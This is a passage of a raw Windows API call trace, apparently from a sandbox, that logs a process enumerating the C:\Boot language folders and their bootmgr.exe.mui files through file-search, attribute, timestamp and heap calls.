lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.161] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.161] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.161] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.161] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.167] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3e48 [0227.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4c28 [0227.167] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.167] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.168] GetLastError () returned 0x12 [0227.168] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-BR\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.168] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.171] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.182] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.186] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.186] GetLastError () returned 0x12 [0227.186] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.187] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.187] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.187] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.187] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0227.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.187] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.187] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0227.187] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.187] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.187] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.187] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.187] NtClose (Handle=0x170) returned 0x0 [0227.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.188] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.188] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.188] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3e68 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4cb0 [0227.188] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xc0) returned 0x8f3990 [0227.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4af830) returned 1 [0227.188] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.188] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.188] GetLastError () returned 0x12 [0227.188] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.188] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.188] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.188] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.188] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.189] GetLastError () returned 0x12 [0227.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.189] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.189] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.189] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0227.189] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.189] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.196] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0227.196] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.196] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.196] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.196] NtClose (Handle=0x1ac) returned 0x0 [0227.196] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.196] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.196] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.196] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.196] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3e88 [0227.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4af830 [0227.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.197] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.197] GetLastError () returned 0x12 [0227.197] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.197] FindClose (in: hFindFile=0x4fd460 | out: hFindFile=0x4fd460) returned 1 [0227.197] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.197] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.197] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.197] GetLastError () returned 0x12 [0227.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0227.197] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0227.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeae8) returned 1 [0227.197] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.197] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0227.197] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.197] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0227.207] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0227.208] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0227.208] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8f9690 [0227.208] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8f9690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x8f9690, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0227.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9690) returned 1 [0227.215] NtClose (Handle=0x170) returned 0x0 [0227.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0227.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0227.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeae8 [0227.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0227.218] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd4e0 [0227.224] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.227] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0227.227] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.227] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.227] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.227] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.228] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0227.228] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f3ea8 [0227.228] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4d38 [0227.228] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0227.228] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0227.229] GetLastError () returned 0x12 [0227.229] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd460 [0227.239] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) 